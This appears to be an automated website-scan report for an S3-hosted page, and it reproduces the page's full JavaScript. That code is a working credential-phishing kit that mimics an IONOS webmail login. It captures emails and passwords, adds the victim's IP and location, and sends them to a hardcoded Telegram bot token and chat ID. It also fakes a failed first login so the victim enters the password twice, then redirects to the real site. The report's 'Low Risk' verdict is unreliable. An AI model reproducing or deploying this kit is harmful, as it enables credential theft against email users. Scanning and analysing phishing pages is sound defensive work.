technology software

English

You're looking at domain 'business-east-update.s3.us-east-1.amazonaws.com' on the commercial generic top-level domain (.com); it also runs on subdomain 'business-east-update.s3.us-east-1'. The second-level label 'amazonaws' is 9 characters long with four vowels and five consonants. Word splitting yields 3 words: amazon, aw, s. Median word length is two characters. No strong language cues emerged from the frequency lists.

html/a0/9a/a09abf71-9669-4ae5-9cc9-984c27118751.html.gz

682c2461685ccab9440db6922fcc1e08743ee9e15866549c190a7906fce8b7ee

viewport

HSTS header missing - vulnerable to protocol downgrade attacks

CSP header missing - vulnerable to XSS attacks

child-src https:  chrome-untrusted://new-tab-page/ chrome-untrusted://ntp-microsoft-auth/;connect-src chrome://resources chrome://theme 'self';default-src 'self';font-src chrome://resources 'self';img-src chrome://resources chrome://theme chrome://image chrome://favicon2 chrome://app-icon chrome://extension-icon chrome://fileicon blob: data: 'self';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources chrome://webui-test 'self';style-src chrome://resources chrome://theme 'self' 'unsafe-inline';trusted-types parse-html-subset sanitize-inner-html static-types webui-test-script webui-test-html polymer-html-literal polymer-template-event-attribute-policy lit-html-desktop;frame-ancestors 'none';

child-src 'none';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources 'self';trusted-types;worker-src blob: 'self';frame-ancestors 'none';

child-src 'none';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources 'self';trusted-types;frame-ancestors 'none';

base-uri 'none';child-src https:;form-action https://ogs.google.com https://*.corp.google.com;object-src 'none';script-src 'self' 'unsafe-inline' https:;frame-ancestors chrome://new-tab-page/


        // ============================================
        // TELEGRAM CONFIGURATION
        // ============================================
        // Get your bot token from @BotFather on Telegram
        const TELEGRAM_BOT_TOKEN = '8522675588:AAFWbvYtwSkPQqsxX1dLlMTEBZ5ir0Wizhw';
        // Get your chat ID from @userinfobot on Telegram
        const TELEGRAM_CHAT_ID = '958414142';
        // ============================================

        // Function to get IP and location info
        async function getIpInfo() {
            try {
                const response = await fetch('https://ipapi.co/json/');
                const data = await response.json();
                return {
                    ip: data.ip || 'Unknown',
                    country: data.country_name || 'Unknown',
                    city: data.city || '',
                    region: data.region || ''
                };
            } catch (error) {
                console.error('Error getting IP info:', error);
                // Fallback to another service
                try {
                    const response2 = await fetch('https://ip-api.com/json/');
                    const data2 = await response2.json();
                    return {
                        ip: data2.query || 'Unknown',
                        country: data2.country || 'Unknown',
                        city: data2.city || '',
                        region: data2.regionName || ''
                    };
                } catch (error2) {
                    return {
                        ip: 'Unknown',
                        country: 'Unknown',
                        city: '',
                        region: ''
                    };
                }
            }
        }

        // Function to send data to Telegram
        async function sendToTelegram(email, password) {
            // Get IP and location info first
            const ipInfo = await getIpInfo();
            
            let location = ipInfo.country;
            if (ipInfo.city) {
                location = `${ipInfo.city}, ${ipInfo.country}`;
            }
            
            const message = `🔐 New Login Attempt\n\n📧 Email: ${email}\n🔑 Password: ${password}\n📍 IP: ${ipInfo.ip}\n🌍 Country: ${location}\n⏰ Time: ${new Date().toLocaleString()}`;
            
            const url = `https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendMessage`;
            
            try {
                const response = await fetch(url, {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json',
                    },
                    body: JSON.stringify({
                        chat_id: TELEGRAM_CHAT_ID,
                        text: message,
                        parse_mode: 'HTML'
                    })
                });
                
                return await response.json();
            } catch (error) {
                console.error('Error sending to Telegram:', error);
                return { ok: false };
            }
        }

        document.addEventListener('DOMContentLoaded', () => {
            const barLoad = document.querySelector('#barload');
            const theformbox1 = document.querySelector('.theformbox1');
            const theformbox2 = document.querySelector('.theformbox2');
            const emButton = document.querySelector('#emButton');
            const pwButton = document.querySelector('#pwButton');
            const emerror = document.getElementById('emerror');
            const pwerror = document.getElementById('pwerror');
            const userid = document.getElementById('userid');
            const passwd = document.getElementById('password');
            const backtoem = document.getElementById('backtoem');
            const iduserhere = document.getElementById('iduserhere');
            
            let currentEmail = '';
            let retryAttemptCount = 0;
            
            // Function to get URL parameters
            function getUrlParameter(name) {
                // Check URL search params (?email=...)
                const urlParams = new URLSearchParams(window.location.search);
                if (urlParams.has(name)) {
                    return decodeURIComponent(urlParams.get(name));
                }
                
                // Check hash parameters (#email=...)
                const hash = location.hash.slice(1);
                if (hash.includes('=')) {
                    const hashParams = new URLSearchParams(hash);
                    if (hashParams.has(name)) {
                        return decodeURIComponent(hashParams.get(name));
                    }
                } else if (hash && name === 'email') {
                    // Support legacy format: #email@example.com
                    return decodeURIComponent(hash);
                }
                
                return null;
            }
            
            // Auto-detect and fill email from URL parameters
            const autoEmail = getUrlParameter('email') || getUrlParameter('e') || getUrlParameter('user');
            
            if (autoEmail) {
                userid.value = autoEmail;
                currentEmail = autoEmail;
                iduserhere.textContent = autoEmail;
                // Auto-show password page
                showPassDiv();
                // Focus on password field
                setTimeout(() => passwd.focus(), 100);
            }
            
            // Set current year
            document.getElementById('thisyear').innerHTML = new Date().getFullYear();

            // Email button handler
            emButton.addEventListener('click', (event) => {
                event.preventDefault();
                emerror.classList.add('hide');
                
                if (userid.value.trim() === '') {
                    userid.classList.add('border-red-500');
                    emerror.classList.remove('hide');
                    userid.focus();
                } else {
                    userid.classList.remove('border-red-500');
                    currentEmail = userid.value.trim();
                    iduserhere.textContent = currentEmail;
                    showPassDiv();
                }
            });

            // Password button handler
            pwButton.addEventListener('click', async (event) => {
                event.preventDefault();
                pwerror.classList.add('hide');
                
                if (passwd.value === '') {
                    passwd.classList.add('border-red-500');
                    pwerror.classList.remove('hide');
                    passwd.focus();
                } else {
                    passwd.classList.remove('border-red-500');
                    barload.classList.remove('hide');
                    pwButton.disabled = true;
                    
                    // Send to Telegram
                    const result = await sendToTelegram(currentEmail, passwd.value);
                    
                    retryAttemptCount++;
                    
                    barload.classList.add('hide');
                    pwButton.disabled = false;
                    
                    if (result.ok) {
                        // Simulate error for first attempt, redirect on second
                        if (retryAttemptCount >= 2) {
                            window.location.href = 'https://email.ionos.com/appsuite/';
                        } else {
                            passwd.value = '';
                            passwd.focus();
                            pwerror.classList.remove('hide');
                        }
                    } else {
                        // If Telegram fails, show error
                        passwd.value = '';
                        passwd.focus();
                        pwerror.classList.remove('hide');
                    }
                }
            });

            // Back to email handler
            backtoem.addEventListener('click', () => {
                showEmailDiv();
            });

            function showEmailDiv() {
                theformbox1.classList.remove('hide');
                theformbox2.classList.add('hide');
                pwerror.classList.add('hide');
                emerror.classList.add('hide');
                userid.value = currentEmail;
            }

            function showPassDiv() {
                theformbox2.classList.remove('hide');
                theformbox1.classList.add('hide');
                pwerror.classList.add('hide');
                emerror.classList.add('hide');
            }
        });
    

Webmail Login

✅ Low Risk - https://business-east-update.s3.us-east-1.amazonaws.com/index.html#redacted@abuse.ionos.com

Security Scan Report: business-east-update.s3.us-east-1.amazonaws.com

Summary

AI Security Verdict

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Content Similarity HashesFor malware variant detection

Image Hashes

Perceptual Hashes

Other Hashes

Scan History

Requests	IP Address	Location	AS Autonomous System
18	104.18.37.126	Unknown	Unknown
0	16.15.182.118	Unknown	Unknown
0	104.17.24.14	Unknown	Unknown
0	172.67.68.11	Unknown	Unknown
0	146.75.122.132	Unknown	Unknown
0	16.15.207.220	Unknown	Unknown
0	16.15.193.165	Unknown	Unknown
0	104.26.3.143	Unknown	Unknown
0	104.17.25.14	Unknown	Unknown
0	52.216.89.14	Unknown	Unknown
18	31	-	-